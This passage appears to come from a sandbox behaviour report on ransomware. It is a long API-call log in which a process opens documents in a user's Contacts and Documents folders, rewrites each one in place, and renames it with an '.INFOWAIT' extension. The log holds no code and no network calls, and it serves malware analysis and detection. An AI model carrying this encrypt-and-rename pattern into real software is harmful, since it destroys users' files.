hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x496, lpOverlapped=0x0) returned 1 [0118.690] VirtualAlloc (lpAddress=0x0, dwSize=0x496, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.690] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.690] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x496, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x496, lpOverlapped=0x0) returned 1 [0118.690] CloseHandle (hObject=0xad0) returned 1 [0118.693] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" [0118.693] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.INFOWAIT" [0118.693] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.infowait")) returned 1 [0118.694] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.695] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.695] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.696] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x494 [0118.696] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.697] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.697] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x494, lpOverlapped=0x0) returned 1 [0118.701] VirtualAlloc (lpAddress=0x0, dwSize=0x494, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.702] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.702] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x494, lpOverlapped=0x0) returned 1 [0118.702] CloseHandle (hObject=0xad4) returned 1 [0118.704] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" [0118.704] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.INFOWAIT" [0118.704] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.infowait")) returned 1 [0118.705] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.706] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.706] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-3gHp4i8DBQd4Fi.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-3ghp4i8dbqd4fi.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.706] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x154e5 [0118.706] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.707] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.707] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x154e5, lpOverlapped=0x0) returned 1 [0118.711] VirtualAlloc (lpAddress=0x0, dwSize=0x154e5, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0118.719] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.719] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x154e5, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x154e5, lpOverlapped=0x0) returned 1 [0118.719] CloseHandle (hObject=0xad4) returned 1 [0118.723] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-3gHp4i8DBQd4Fi.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-3gHp4i8DBQd4Fi.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-3gHp4i8DBQd4Fi.pptx" [0118.723] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-3gHp4i8DBQd4Fi.pptx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-3gHp4i8DBQd4Fi.pptx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-3gHp4i8DBQd4Fi.pptx.INFOWAIT" [0118.723] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-3gHp4i8DBQd4Fi.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-3ghp4i8dbqd4fi.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-3gHp4i8DBQd4Fi.pptx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-3ghp4i8dbqd4fi.pptx.infowait")) returned 1 [0118.729] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.730] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.731] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\32XcKJ-k MnUkqXRq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\32xckj-k mnukqxrq.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.732] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18fdd [0118.733] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.733] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.733] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x18fdd, lpOverlapped=0x0) returned 1 [0118.736] VirtualAlloc (lpAddress=0x0, dwSize=0x18fdd, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0118.746] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.746] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x18fdd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x18fdd, lpOverlapped=0x0) returned 1 [0118.747] CloseHandle (hObject=0xad4) returned 1 [0118.749] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\32XcKJ-k MnUkqXRq.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\32XcKJ-k MnUkqXRq.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\32XcKJ-k MnUkqXRq.pptx" [0118.749] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\32XcKJ-k MnUkqXRq.pptx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\32XcKJ-k MnUkqXRq.pptx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\32XcKJ-k MnUkqXRq.pptx.INFOWAIT" [0118.749] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\32XcKJ-k MnUkqXRq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\32xckj-k mnukqxrq.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\32XcKJ-k MnUkqXRq.pptx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\32xckj-k mnukqxrq.pptx.infowait")) returned 1 [0118.750] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.752] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.752] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7UQS1.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7uqs1.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.753] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13dd7 [0118.753] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.753] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.753] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x13dd7, lpOverlapped=0x0) returned 1 [0118.759] VirtualAlloc (lpAddress=0x0, dwSize=0x13dd7, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0118.766] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.766] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x13dd7, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x13dd7, lpOverlapped=0x0) returned 1 [0118.766] CloseHandle (hObject=0xad4) returned 1 [0118.770] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7UQS1.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7UQS1.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7UQS1.docx" [0118.770] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7UQS1.docx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7UQS1.docx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7UQS1.docx.INFOWAIT" [0118.771] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7UQS1.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7uqs1.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7UQS1.docx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7uqs1.docx.infowait")) returned 1 [0118.776] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.777] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.778] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86iUKOznOtmWr4FTVK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86iukoznotmwr4ftvk.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.778] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14d66 [0118.778] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.779] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.779] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x14d66, lpOverlapped=0x0) returned 1 [0118.786] VirtualAlloc (lpAddress=0x0, dwSize=0x14d66, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0118.793] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.793] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x14d66, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x14d66, lpOverlapped=0x0) returned 1 [0118.794] CloseHandle (hObject=0xad4) returned 1 [0118.798] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86iUKOznOtmWr4FTVK.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86iUKOznOtmWr4FTVK.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86iUKOznOtmWr4FTVK.xlsx" [0118.798] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86iUKOznOtmWr4FTVK.xlsx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86iUKOznOtmWr4FTVK.xlsx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86iUKOznOtmWr4FTVK.xlsx.INFOWAIT" [0118.798] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86iUKOznOtmWr4FTVK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86iukoznotmwr4ftvk.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86iUKOznOtmWr4FTVK.xlsx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86iukoznotmwr4ftvk.xlsx.infowait")) returned 1 [0118.798] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.799] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.800] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\-l0TaG633wu CFDx3Y-.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\-l0tag633wu cfdx3y-.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.800] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14fb5 [0118.801] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.801] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.801] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x14fb5, lpOverlapped=0x0) returned 1 [0118.808] VirtualAlloc (lpAddress=0x0, dwSize=0x14fb5, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0118.815] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.815] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x14fb5, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x14fb5, lpOverlapped=0x0) returned 1 [0118.815] CloseHandle (hObject=0xad4) returned 1 [0118.827] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\-l0TaG633wu CFDx3Y-.doc" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\-l0TaG633wu CFDx3Y-.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\-l0TaG633wu CFDx3Y-.doc" [0118.827] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\-l0TaG633wu CFDx3Y-.doc", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\-l0TaG633wu CFDx3Y-.doc.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\-l0TaG633wu CFDx3Y-.doc.INFOWAIT" [0118.827] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\-l0TaG633wu CFDx3Y-.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\-l0tag633wu cfdx3y-.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\-l0TaG633wu CFDx3Y-.doc.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\-l0tag633wu cfdx3y-.doc.infowait")) returned 1 [0118.835] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.836] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.837] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.837] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\2L5Mp4CJ.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\snwh\\2l5mp4cj.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.837] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd9c0 [0118.837] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.838] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.838] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd9c0, lpOverlapped=0x0) returned 1 [0118.841] VirtualAlloc (lpAddress=0x0, dwSize=0xd9c0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.845] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.845] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd9c0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd9c0, lpOverlapped=0x0) returned 1 [0118.845] CloseHandle (hObject=0xad4) returned 1 [0118.851] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\2L5Mp4CJ.ods" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\2L5Mp4CJ.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\2L5Mp4CJ.ods" [0118.851] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\2L5Mp4CJ.ods", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\2L5Mp4CJ.ods.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\2L5Mp4CJ.ods.INFOWAIT" [0118.851] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\2L5Mp4CJ.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\snwh\\2l5mp4cj.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\2L5Mp4CJ.ods.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\snwh\\2l5mp4cj.ods.infowait")) returned 1 [0118.852] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.853] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.854] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\3-Cn.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\snwh\\3-cn.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.859] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x32e8 [0118.859] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.859] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 